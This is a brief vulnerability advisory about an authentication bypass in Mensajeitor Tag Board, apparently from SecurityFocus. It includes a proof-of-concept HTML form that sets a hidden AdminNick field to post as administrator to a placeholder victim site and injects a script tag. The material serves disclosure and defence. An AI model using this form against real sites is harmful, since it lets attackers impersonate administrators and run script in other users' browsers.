source: https://www.securityfocus.com/bid/10774/info

It has been reported that Mensajeitor Tag Board is affected by an authentication bypass vulnerability. This issue is due to a failure of the application to properly handle authentication controls.

Successful exploitation of this issue will allow an attacker to post messages to the affected tag board as an administrator, reportedly facilitating HTML injection and attacks.

< html>
< head>< title>Mensajeitor Exploit</title></head>
< body>
Inyeccion codigo en Mensajeitor =< v1.8.9 r1< br>< br>

< form name="form1" method="post" action="http://www.victima.com/mensajeitor.php">
    < input type="text" name="nick" size="10" value="Nick" maxlength="9">< br>
    < input type="text" name="titulo" size="21" value="Mensaje">< br>
    < input type="text" name="url" size="21" value="http://">< br>
    < input type="hidden" name="AdminNick" value="si">< br>
    Introduce codigo a insertar (</table> debe incluirse al principio)< br>
    < input type="text" name="cadena_final" size="75%" value="</table>< script>alert('hacked ;)')</script>">< br>
    < input type="submit" name="enviar" value="Enviar" class="form">< br>
</form>

MensajeitorPHP propiedad de aaff.< br>
By Jordi Corrales (Shell Security Group, http://www.shellsec.net)
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